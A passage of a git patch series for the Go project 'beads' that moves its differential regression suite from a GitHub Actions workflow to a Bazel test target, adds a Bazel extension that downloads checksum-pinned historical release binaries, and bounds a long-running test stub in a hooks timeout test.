shards, folded from 14 per-version legs, F7c) and loops `scripts/migration-test/run.sh --version` over each shard's versions; not a required PR/main gate. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index 487541077..a8ef447f4 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -58,7 +58,7 @@ Every build path that produces a binary for users must include `-tags gms_pure_g | Migration tests | `.github/workflows/migration-test.yml` | | Nightly tests | `.github/workflows/nightly.yml` | | Cross-version smoke | `.github/workflows/cross-version-smoke.yml` | -| Regression tests | `.github/workflows/regression.yml` | +| Regression tests | `//tests/regression:regression_test` (Bazel, `bazel.yml` `bazel-cmd-dolt`) | ### Canonical pattern: source `.buildflags` diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 8b20298fa..5f193ae29 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -694,7 +694,6 @@ func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "regression.yml", "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", @@ -750,7 +749,6 @@ var advisoryBlacksmithRunnerJobs = []struct { blacksmithLabel string fallback string }{ - {"regression.yml", "regression", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"migration-test.yml", "historical-upgrades", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-24.04"}, {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, @@ -820,7 +818,6 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). var blacksmithSetupGoCacheConsumers = map[string][]string{ - "regression.yml": {"regression"}, "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, } @@ -886,7 +883,6 @@ func TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers(t *testing.T) { wantWarmups := []string{ "make build", - "go test -c -tags regression,gms_pure_go ./tests/regression", } for _, want := range wantWarmups { found := false @@ -1161,13 +1157,12 @@ var advisoryBinaryCaches = []struct { wantSaveIf string }{ {"cross-version-smoke.yml", "smoke", "Restore previous release binaries cache", "Save previous release binaries cache", "smoke-binaries-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, - {"regression.yml", "regression", "Restore baseline binary cache", "Save baseline binary cache", "regression-baseline-", "steps.detect.outputs.run_regression == 'true' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch')"}, {"migration-test.yml", "historical-upgrades", "Restore pinned historical release cache", "Save pinned historical release cache", "historical-dolt-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, } // TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated pins the restore/save // split itself (F7c review fix B2): the restore step always runs (modulo the -// job's own pre-existing gate, e.g. regression's run_regression detection), +// job's own pre-existing gate, if any), // the save step additionally requires an exact allow-list of // `github.event_name == 'push' || github.event_name == 'workflow_dispatch'` // (F7c review fix, discovered via the S2 sweep: a deny-list of @@ -1211,178 +1206,6 @@ func TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated(t *testing.T) { } } -// TestRegressionStepsAfterDetectAreGated pins that every step after -// regression.yml's "Decide whether to run differential regression tests" -// (id: detect) stays gated on steps.detect.outputs.run_regression == 'true' -// (F7c review fix S1, closes an "ungated regression step" mutation): the -// fold that moved detect-regression-need into this job's own first step -// means a single dropped `if:` would make an inapplicable PR silently pay -// for (or worse, run) the rest of the job instead of skipping it. -func TestRegressionStepsAfterDetectAreGated(t *testing.T) { - job := readCIWorkflow(t, "regression.yml").job(t, "regression") - detectIndex := job.stepIndex(t, "Decide whether to run differential regression tests") - const want = "steps.detect.outputs.run_regression == 'true'" - for _, step := range job.Steps[detectIndex+1:] { - if !strings.Contains(step.If, want) { - t.Errorf("regression.yml step %q has if=%q, want it to contain %q", step.Name, step.If, want) - } - } -} - -// TestRegressionDetectStepBehavioral runs regression.yml's "Decide whether to -// run differential regression tests" (id: detect) step for real, the same -// way TestMigrationHarnessLoopExecutesBehaviorally exercises the migration -// loop (F7c review fix S1, closes mutation M13: a detect step hardcoded to -// always emit run_regression=false). TestRegressionStepsAfterDetectAreGated -// only pins that steps AFTER detect stay gated on its output; it says nothing -// about whether detect's own logic ever produces "true", so a detect step -// that always reports false would make every downstream gate vacuously -// satisfied while regression silently never ran. This executes the step's -// actual bash against real GITHUB_OUTPUT/GITHUB_EVENT_PATH files and a real -// two-commit git repo for each input that must change the verdict. -func TestRegressionDetectStepBehavioral(t *testing.T) { - requireHostTool(t, "bash") - requireHostTool(t, "jq") - requireHostTool(t, "git") - - job := readCIWorkflow(t, "regression.yml").job(t, "regression") - step := job.step(t, "Decide whether to run differential regression tests") - if step.ID != "detect" { - t.Fatalf("detect step id = %q, want %q", step.ID, "detect") - } - - // newRepo creates a base commit, then (if any changedFiles are given) a - // second commit that adds each of them, and returns the repo dir plus - // both commit SHAs for PR_BASE_SHA/PR_HEAD_SHA. - newRepo := func(t *testing.T, changedFiles ...string) (dir, base, head string) { - t.Helper() - dir = t.TempDir() - git := func(args ...string) string { - t.Helper() - cmd := exec.Command("git", args...) - cmd.Dir = dir - cmd.Env = append(os.Environ(), - "GIT_CONFIG_NOSYSTEM=1", - "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@t.test", - "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@t.test", - ) - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("git %v: %v\n%s", args, err, out) - } - return strings.TrimSpace(string(out)) - } - git("init", "-q", "-b", "main") - if err := os.WriteFile(filepath.Join(dir, "README.md"), []byte("base\n"), 0o644); err != nil { - t.Fatal(err) - } - git("add", "README.md") - git("commit", "-q", "-m", "base") - base = git("rev-parse", "HEAD") - - for _, f := range changedFiles { - full := filepath.Join(dir, f) - if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(full, []byte("x\n"), 0o644); err != nil { - t.Fatal(err) - } - git("add", f) - } - if len(changedFiles) > 0 { - git("commit", "-q", "-m", "head") - } - head = git("rev-parse", "HEAD") - return dir, base, head - } - - writeEvent := func(t *testing.T, dir string, labels ...string) string { - t.Helper() - type label struct { - Name string `json:"name"` - } - type prBody struct { - Labels []label `json:"labels"` - } - type event struct { - PullRequest prBody `json:"pull_request"` - } - e := event{PullRequest: prBody{Labels: []label{}}} - for _, l := range labels { - e.PullRequest.Labels = append(e.PullRequest.Labels, label{Name: l}) - } - b, err := json.Marshal(e) - if err != nil { - t.Fatal(err) - } - p := filepath.Join(dir, "event.json") - if err := os.WriteFile(p, b, 0o644); err != nil { - t.Fatal(err) - } - return p - } - - runDetect := func(t *testing.T, dir, eventPath, eventName, base, head string) (runRegression, reason string) { - t.Helper() - outFile := filepath.Join(t.TempDir(), "output") - if err := os.WriteFile(outFile, nil, 0o644); err != nil { - t.Fatal(err) - } - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) - cmd.Dir = dir - cmd.Env = append(os.Environ(), - "EVENT_NAME="+eventName, - "PR_BASE_SHA="+base, - "PR_HEAD_SHA="+head, - "GITHUB_OUTPUT="+outFile, - "GITHUB_EVENT_PATH="+eventPath, - ) - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("detect step: %v\noutput:\n%s", err, out) - } - outBytes, err := os.ReadFile(outFile) - if err != nil { - t.Fatal(err) - } - for _, line := range strings.Split(string(outBytes), "\n") { - if v, ok := strings.CutPrefix(line, "run_regression="); ok { - runRegression = v - } - if v, ok := strings.CutPrefix(line, "reason="); ok { - reason = v - } - } - return runRegression, reason - } - - cases := []struct { - name string - eventName string - labels []string - changedFiles []string - want string - }{ - {"push always runs", "push", nil, nil, "true"}, - {"run-regression label forces true", "pull_request", []string{"run-regression"}, []string{"docs/unrelated.md"}, "true"}, - {"skip-regression label forces false", "pull_request", []string{"skip-regression"}, []string{"cmd/bd/x.go"}, "false"}, - {"cmd/bd non-test change runs", "pull_request", nil, []string{"cmd/bd/x.go"}, "true"}, - {"only a cmd/bd test file changed skips", "pull_request", nil, []string{"cmd/bd/x_test.go"}, "false"}, - {"docs-only change skips", "pull_request", nil, []string{"docs/a.md"}, "false"}, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - dir, base, head := newRepo(t, c.changedFiles...) - eventPath := writeEvent(t, dir, c.labels...) - got, reason := runDetect(t, dir, eventPath, c.eventName, base, head) - if got != c.want { - t.Errorf("run_regression = %q (reason %q), want %q", got, reason, c.want) - } - }) - } -} - // --- General sweep: no Blacksmith-reachable advisory job may save a cache -- // generalCacheSweepWorkflows is every F7c advisory workflow plus main.yml diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 59bca0ca0..e2956ca4a 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -126,7 +126,7 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } root := sourceRepoRoot(t) for _, name := range []string{ - "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", "regression.yml", + "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", } { t.Run(name, func(t *testing.T) { var doc triggers @@ -1133,7 +1133,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // internal/testutil gates on `docker image inspect` and never auto-pulls. The // other jobs that do pull it are pr.yml/contract-corpus, // pr-risk.yml/test-proxied-cmd, -// pr-risk.yml/test-server-storage and -full, regression.yml/regression, and +// pr-risk.yml/test-server-storage and -full, and // bazel.yml's --config=docker lane. They are out of scope for this change, not // immune: no reap has been attributed to them, and the docker lane would // additionally need --test_env=TESTCONTAINERS_RYUK_DISABLED=true because bazel @@ -2709,7 +2709,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: regression.yml, migration-test.yml, +// compile Go: migration-test.yml, // cross-version-smoke.yml). F7a independently // defined the same const; both are now served by the single shared // sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's @@ -3051,7 +3051,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. - "regression.yml": {"regression": sameRepoBlacksmith4vcpu}, "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, @@ -3118,7 +3117,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "regression.yml", "migration-test.yml", + "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index 47a5b8269..477d68f44 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -54,9 +54,8 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ - "pr.yml": 2, // test-domain-uow, contract-corpus - "pr-risk.yml": 3, - "regression.yml": 1, + "pr.yml": 2, // test-domain-uow, contract-corpus + "pr-risk.yml": 3, } workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") diff --git a/tests/regression/BUILD.bazel b/tests/regression/BUILD.bazel new file mode 100644 index 000000000..ee7410d1a --- /dev/null +++ b/tests/regression/BUILD.bazel @@ -0,0 +1,71 @@ +load("@rules_go//go:def.bzl", "go_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") + +# The differential regression suite (formerly regression.yml, which ran +# ./tests/regression with the regression build tag): every scenario runs against the +# catalog-pinned baseline release and against the candidate, and their +# normalized state is diffed. The baseline label must name the release in +# BASELINE_VERSION (TestMain checks the binary's own version against it). The +# candidate is the non-race bd_for_tests, built like the job's +# `go build -tags gms_pure_go ./cmd/bd`. Both bd's talk to a hermetic dolt +# sql-server TestMain starts from the pinned dolt (BEADS_TEST_DOLT_SERVER=local) +# where the job pulled the dolt-sql-server image; a server that cannot start +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1). The Go binary shards +# itself over the top-level tests, so each runs in exactly one shard. +# +# Tags: +# dolt-server-cmd: starts a hermetic dolt sql-server and needs the +# integration build tag; selected by --config=doltserver-cmd (bazel.yml's +# bazel-cmd-dolt lane) and excluded from every other lane, whose +# configurations either drop both test files or set BEADS_TEST_SKIP=dolt. +go_test( + name = "regression_test", + size = "large", + # --config=doltserver-cmd's -test.timeout=19m fires (with a goroutine + # dump) before Bazel's 1200s action limit. + timeout = "eternal", + srcs = [ + "regression_test.go", + "scenarios_test.go", + ], + data = [ + "BASELINE_VERSION", + "//cmd/bd:bd_for_tests", + "@bd_releases//:v0.49.6", + ], + env = { + "BD_REGRESSION_BASELINE_BIN": "$(rlocationpath @bd_releases//:v0.49.6)", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + shard_count = 8, + tags = ["dolt-server-cmd"], + target_compatible_with = LINUX_AMD64, + deps = [ + "//internal/testutil", + "//internal/testutil/bazeltest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/regression/regression_tag_test.go b/tests/regression/regression_tag_test.go new file mode 100644 index 000000000..9e37a6454 --- /dev/null +++ b/tests/regression/regression_tag_test.go @@ -0,0 +1,8 @@ +//go:build regression + +package regression + +// Only -tags=regression compiles this file: it marks the build as an explicit +// request for the suite (see testMainInner). Gazelle never adds it to the +// Bazel target, which runs the suite because it runs under Bazel. +func init() { builtWithRegressionTag = true } diff --git a/tests/regression/regression_test.go b/tests/regression/regression_test.go index aef46f04a..08500bf67 100644 --- a/tests/regression/regression_test.go +++ b/tests/regression/regression_test.go @@ -1,4 +1,4 @@ -//go:build regression +//go:build regression || integration // Package regression implements differential testing between a pinned baseline // bd binary (v0.49.6) and the current worktree build. Each test scenario runs @@ -8,6 +8,15 @@ // // Run: go test -tags=regression -timeout=10m ./tests/regression/... // Or: make test-regression +// CI: bazel test //tests/regression:regression_test --config=doltserver-cmd +// +// Under Bazel the files build under the integration tag (gazelle generates +// the target from them) and both binaries are declared inputs: the candidate +// is //cmd/bd:bd_for_tests (BEADS_TEST_BD_BINARY) and the baseline is the +// catalog-pinned release @bd_releases//: +// (BD_REGRESSION_BASELINE_BIN), so the suite needs no Go toolchain and no +// network. A plain `go test -tags=integration ./...` compiles the files too +// but skips the suite: only -tags=regression (or Bazel) runs it. package regression import ( @@ -31,8 +40,13 @@ import ( "time" "github.com/steveyegge/beads/internal/testutil" + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) +// builtWithRegressionTag is set by regression_tag_test.go, which only +// -tags=regression compiles. +var builtWithRegressionTag bool + // baselineBin is the path to the pinned baseline bd binary. var baselineBin string @@ -54,6 +68,10 @@ func testMainInner(m *testing.M) int { fmt.Fprintln(os.Stderr, "regression tests not yet supported on Windows (zip extraction needed)") return 0 } + if !builtWithRegressionTag && !bazeltest.IsBazel() { + fmt.Fprintln(os.Stderr, "SKIP: differential regression suite runs only with -tags=regression or under Bazel") + return 0 + } // Start an isolated Dolt server so regression tests don't pollute // the production database on port 3307. @@ -84,14 +102,23 @@ func testMainInner(m *testing.M) int { return 1 } - // Build candidate from current worktree - candidateBin = filepath.Join(tmpDir, "bd-candidate") - fmt.Fprintln(os.Stderr, "Building candidate binary...") - if err := buildCandidate(candidateBin); err != nil { - fmt.Fprintf(os.Stderr, "building candidate: %v\n", err) + // Candidate: the prebuilt bd (required under Bazel), else a build of the + // current worktree. + candidateBin, err = bazeltest.PrebuiltBD() + if err != nil { + fmt.Fprintf(os.Stderr, "candidate binary: %v\n", err) os.RemoveAll(tmpDir) return 1 } + if candidateBin == "" { + candidateBin = filepath.Join(tmpDir, "bd-candidate") + fmt.Fprintln(os.Stderr, "Building candidate binary...") + if err := buildCandidate(candidateBin); err != nil { + fmt.Fprintf(os.Stderr, "building candidate: %v\n", err) + os.RemoveAll(tmpDir) + return 1 + } + } // Get baseline (env override > cache > download) fmt.Fprintln(os.Stderr, "Getting baseline binary...") @@ -163,20 +190,25 @@ func icuPrefixPath() string { return strings.TrimSpace(string(out)) } +// baselineBinEnv overrides the baseline binary. Under Bazel it is required +// and holds the rlocationpath of the pinned release. +const baselineBinEnv = "BD_REGRESSION_BASELINE_BIN" + func getBaseline() (string, error) { - if bin := os.Getenv("BD_REGRESSION_BASELINE_BIN"); bin != "" { + if bazeltest.IsBazel() { + return pinnedBaseline() + } + if bin := os.Getenv(baselineBinEnv); bin != "" { if _, err := os.Stat(bin); err != nil { - return "", fmt.Errorf("BD_REGRESSION_BASELINE_BIN=%q: %w", bin, err) + return "", fmt.Errorf("%s=%q: %w", baselineBinEnv, bin, err) } return bin, nil } - versionFile := filepath.Join(findModuleRoot(), "tests", "regression", "BASELINE_VERSION") - data, err := os.ReadFile(versionFile) + version, err := baselineVersion(findModuleRoot()) if err != nil { - return "", fmt.Errorf("reading BASELINE_VERSION: %w", err) + return "", err } - version := strings.TrimSpace(string(data)) cacheDir, err := os.UserCacheDir() if err != nil { @@ -205,6 +237,41 @@ func getBaseline() (string, error) { return cachedBin, nil } +// baselineVersion reads tests/regression/BASELINE_VERSION under root. +func baselineVersion(root string) (string, error) { + data, err := os.ReadFile(filepath.Join(root, "tests", "regression", "BASELINE_VERSION")) + if err != nil { + return "", fmt.Errorf("reading BASELINE_VERSION: %w", err) + } + return strings.TrimSpace(string(data)), nil +} + +// pinnedBaseline resolves the Bazel-declared baseline release and checks that +// it is the release BASELINE_VERSION names, so the BUILD label and the file +// cannot drift apart. +func pinnedBaseline() (string, error) { + bin, err := bazeltest.RunfileEnv(baselineBinEnv) + if err != nil { + return "", err + } + root := bazeltest.OverrideRoot() + if root == "" { + return "", fmt.Errorf("no repository root in the runfiles for BASELINE_VERSION") + } + version, err := baselineVersion(root) + if err != nil { + return "", err + } + out, err := exec.Command(bin, "version").CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s version: %w\n%s", bin, err, out) + } + if bare := strings.TrimPrefix(version, "v"); !strings.Contains(" "+string(out)+" ", " "+bare+" ") { + return "", fmt.Errorf("baseline %s reports %q, want BASELINE_VERSION %s", bin, strings.TrimSpace(string(out)), version) + } + return bin, nil +} + func downloadAndExtract(url, destPath string) error { resp, err := http.Get(url) //nolint:gosec // URL constructed from trusted constants if err != nil { diff --git a/tests/regression/scenarios_test.go b/tests/regression/scenarios_test.go index 278a82276..bed18b84b 100644 --- a/tests/regression/scenarios_test.go +++ b/tests/regression/scenarios_test.go @@ -1,4 +1,4 @@ -//go:build regression +//go:build regression || integration package regression diff --git a/tools/bazel/bd_releases.bzl b/tools/bazel/bd_releases.bzl new file mode 100644 index 000000000..2e52fc58a --- /dev/null +++ b/tools/bazel/bd_releases.bzl @@ -0,0 +1,141 @@ +"""Historical bd release binaries for Bazel tests, pinned by the release catalog. + +scripts/migration-test/release-catalog.json is the reviewed universe of +historical releases. Every version in it whose GitHub release records a +linux_amd64 asset (github_release.linux_amd64_asset: name and sha256 digest) +becomes one repository, bd_release_, holding that release's `bd`. +Nothing is downloaded until a test declares the binary as data, and the +download is verified against the catalog's digest, so tests that run historical +releases need no network and no checksum code of their own. + +Tests use the hub repository, @bd_releases: + + data = ["@bd_releases//:v0.49.6"], + env = {"BD": "$(rlocationpath @bd_releases//:v0.49.6)"}, + +and @bd_releases//:versions.bzl lists every pinned version (VERSIONS), so a +BUILD file can generate one target per release. + +Adding a release is a catalog change (regenerate it with +scripts/migration-test/catalog); this file and MODULE.bazel stay as they are. + +The catalog pins linux/amd64 assets only: a test that runs one sets +target_compatible_with = LINUX_AMD64 (from this file), so `bazel build //...` +skips it on other hosts. +""" + +_RELEASE_URL = "https://github.com/gastownhall/beads/releases/download/{version}/{asset}" + +_RELEASE_BUILD = """\ +package(default_visibility = ["//visibility:public"]) + +exports_files(["bd"]) +""" + +# target_compatible_with for a test that runs a pinned release. +LINUX_AMD64 = [ + "@platforms//os:linux", + "@platforms//cpu:x86_64", +] + +def _bd_release_impl(rctx): + rctx.download_and_extract( + url = rctx.attr.url, + sha256 = rctx.attr.sha256, + # Ties the repository-cache entry to this URL (and so this version). + canonical_id = rctx.attr.url, + ) + if not rctx.path("bd").exists: + fail("release asset {} holds no top-level bd binary".format(rctx.attr.url)) + rctx.file("BUILD.bazel", _RELEASE_BUILD) + +bd_release = repository_rule( + implementation = _bd_release_impl, + attrs = { + "sha256": attr.string(mandatory = True, doc = "sha256 of the release archive."), + "url": attr.string(mandatory = True, doc = "Release archive URL."), + }, + doc = "Downloads one historical bd release archive and exports its `bd` binary.", +) + +def _repo_name(version): + return "bd_release_" + version.replace(".", "_").replace("-", "_") + +def _hub_impl(rctx): + lines = [ + "# Generated by tools/bazel/bd_releases.bzl from the release catalog.", + "package(default_visibility = [\"//visibility:public\"])", + "", + "exports_files([\"versions.bzl\"])", + "", + ] + for version in rctx.attr.versions: + lines.append("""alias( + name = "{version}", + actual = "@{repo}//:bd", +) +""".format(version = version, repo = _repo_name(version))) + rctx.file("BUILD.bazel", "\n".join(lines)) + rctx.file("versions.bzl", "\n".join([ + "\"\"\"Every historical bd release @bd_releases pins (from the release catalog), oldest first.\"\"\"", + "", + "VERSIONS = [", + ] + [" \"{}\",".format(v) for v in rctx.attr.versions] + ["]", ""])) + +_bd_releases_hub = repository_rule( + implementation = _hub_impl, + attrs = { + "versions": attr.string_list(mandatory = True), + }, + doc = "Hub repository: one alias per pinned release, plus versions.bzl.", +) + +def catalog_releases(catalog): + """Returns [(version, asset name, sha256)] for every catalog release with a linux_amd64 asset. + + Args: + catalog: the decoded release-catalog.json. + + Returns: + A list of (version, asset, sha256) tuples in catalog order. + """ + releases = [] + for entry in catalog["versions"]: + asset = entry.get("github_release", {}).get("linux_amd64_asset") + if asset == None: + continue + digest = asset["digest"] + if not digest.startswith("sha256:"): + fail("release {}: asset digest {} is not sha256".format(entry["version"], digest)) + releases.append((entry["version"], asset["name"], digest[len("sha256:"):])) + return releases + +def _bd_releases_impl(mctx): + catalogs = [tag.path for mod in mctx.modules if mod.is_root for tag in mod.tags.catalog] + if len(catalogs) != 1: + fail("bd_releases needs exactly one catalog tag in the root module, got {}".format(len(catalogs))) + catalog = json.decode(mctx.read(catalogs[0])) + versions = [] + for version, asset, sha256 in catalog_releases(catalog): + bd_release( + name = _repo_name(version), + url = _RELEASE_URL.format(version = version, asset = asset), + sha256 = sha256, + ) + versions.append(version) + _bd_releases_hub(name = "bd_releases", versions = versions) + return mctx.extension_metadata( + root_module_direct_deps = ["bd_releases"], + root_module_direct_dev_deps = [], + reproducible = True, + ) + +bd_releases = module_extension( + implementation = _bd_releases_impl, + tag_classes = { + "catalog": tag_class(attrs = { + "path": attr.label(mandatory = True, doc = "The release catalog JSON."), + }), + }, + doc = "Declares one repository per historical bd release in the release catalog, and the @bd_releases hub.", +) From f6d9245624e83bcb9184f9af12bc4aea691a0dc7 Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 7 Oct 2026 01:52:04 +0000 Subject: [PATCH 027/213] test(hooks): bound the long-running bd stub so a killed run cannot leak a spinner (wy-nzeocg) (#6612) The real-GNU-timeout and real-Perl-alarm expiry subtests stand in a bd that never returns with a bare `while :; do :; done`. On a normal run the helper reaps it at 1s. When the go test process is killed mid-subtest, though, the helper has already setpgid()d itself and the stub out of the harness's group, the tree-kill reaches the helper by pid before its child, and the orphan is reparented to 1 and spins at 100% CPU forever: one such stub was found 2.5h old on a shared build box after a session teardown. The stub now paces itself with sleep and exits 97 on its own after 60 ticks, so a killed run leaks at most a minute of idle sleep. The generated hook runs under a controlled PATH that carries only the fixtures and the helper under test, so the test resolves sleep once (findHookProcessSleep, the same shape as the Perl probe) and hands it to the stub as HOOK_TEST_SLEEP by absolute path. The sleep's stdio is detached because Perl's alarm signals only the exec'd stub, not a group, and the orphaned sleep must not hold the test's output pipe open past exec.Cmd.WaitDelay. Exit 97 is outside every status the hook normalizes, so a stub that outlives the helper still fails the expiry assertions loudly. Tests: go test ./cmd/bd -run TestGeneratedHookTimeoutProcessBoundary -count=1 (twice, darwin/arm64, bash 5 + coreutils gtimeout + perl); go vet ./cmd/bd. Co-authored-by: Claude Fable 5.1 --- cmd/bd/hooks_timeout_process_test.go | 61 ++++++++++++++++++++++++---- 1 file changed, 53 insertions(+), 8 deletions(-) diff --git a/cmd/bd/hooks_timeout_process_test.go b/cmd/bd/hooks_timeout_process_test.go index 741a8fe0c..a226b2ea9 100644 --- a/cmd/bd/hooks_timeout_process_test.go +++ b/cmd/bd/hooks_timeout_process_test.go @@ -24,9 +24,24 @@ done exit "${HOOK_TEST_BD_EXIT:-0}" ` +// hookProcessLongRunningBDStub stands in for a bd that never returns, so the +// expiry subtests can prove the timeout helper reaps it. It sleeps instead of +// busy-looping and bounds itself: when a test run is killed before the helper +// fires (the harness reaches the helper by pid before its child), the orphan +// idles for at most a minute and exits on its own instead of spinning at 100% +// CPU forever with ppid 1. Exit 97 is outside every code the hook normalizes, +// so a run that outlives the helper still fails the test. The sleep runs with +// its stdio detached: when the helper signals only the stub (Perl's alarm hits +// the exec'd process, not a group), the orphaned sleep must not keep the test's +// output pipe open past exec.Cmd.WaitDelay. const hookProcessLongRunningBDStub = `#!/bin/sh printf 'long-running-bd-started\n' -while :; do :; done +_bd_test_tick=0 +while [ "$_bd_test_tick" -lt 60 ]; do + "${HOOK_TEST_SLEEP:?}" 1 /dev/null 2>&1 + _bd_test_tick=$((_bd_test_tick + 1)) +done +exit 97 ` const hookProcessGNUTimeoutStub = `#!/bin/sh @@ -113,6 +128,7 @@ type hookProcessCase struct { usePOSIXSh bool timeout *string pathTail string + sleepPath string args []string } @@ -343,9 +359,10 @@ func testHookProcessRealTimeoutExpiry(t *testing.T) { helperName, helperDir := findHookProcessCoreutilsTimeout(t) timeout := "1" result := runGeneratedHookProcess(t, hookProcessCase{ - bdBody: hookProcessLongRunningBDStub, - timeout: &timeout, - pathTail: helperDir, + bdBody: hookProcessLongRunningBDStub, + timeout: &timeout, + pathTail: helperDir, + sleepPath: findHookProcessSleep(t), }) if result.exitCode != 0 { t.Fatalf("generated hook exit = %d, want normalized timeout success\n%s", result.exitCode, result.output) @@ -370,9 +387,10 @@ func testHookProcessRealPerlExpiry(t *testing.T) { {name: "timeout", body: hookProcessIncompatibleTimeoutStub}, {name: "gtimeout", body: hookProcessIncompatibleGtimeoutStub}, }, - bdBody: hookProcessLongRunningBDStub, - timeout: &timeout, - pathTail: perlDir, + bdBody: hookProcessLongRunningBDStub, + timeout: &timeout, + pathTail: perlDir, + sleepPath: findHookProcessSleep(t), }) if result.exitCode != 0 { t.Fatalf("generated hook exit = %d, want normalized Perl alarm success\n%s", result.exitCode, result.output) @@ -514,6 +532,9 @@ shift if tc.timeout != nil { cmd.Env = append(cmd.Env, "BEADS_HOOK_TIMEOUT="+*tc.timeout) } + if tc.sleepPath != "" { + cmd.Env = append(cmd.Env, "HOOK_TEST_SLEEP="+tc.sleepPath) + } started := time.Now() output, err := cmd.CombinedOutput() elapsed := time.Since(started) @@ -585,6 +606,30 @@ printf '%s\n' "${_bd_test_path%/*}" return dir } +// findHookProcessSleep resolves the sleep the long-running bd stub paces itself +// with. The generated hook runs under a controlled PATH that carries only the +// fixtures and the helper under test, so the stub is handed sleep by absolute +// path (in the shell's own spelling, which on Git Bash is the MSYS form). +func findHookProcessSleep(t *testing.T) string { + t.Helper() + probe := ` +_bd_test_path=$(command -v sleep) || exit 1 +"$_bd_test_path" 0 || exit 1 +printf '%s\n' "$_bd_test_path" +` + cmd := exec.Command(hookProcessShell(t), "--noprofile", "--norc", "-c", probe) + cmd.Env = hookProcessEnv() + output, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("sleep is required to pace the long-running bd stub: %s", strings.TrimSpace(string(output))) + } + path := strings.TrimSpace(string(output)) + if path == "" { + t.Fatalf("unexpected sleep probe output: %q", string(output)) + } + return path +} + func writeHookProcessFixture(t *testing.T, dir, name, body string) { t.Helper() path := filepath.Join(dir, name) @@ -686,7 +731,7 @@ func hookProcessEnv() []string { } upper := 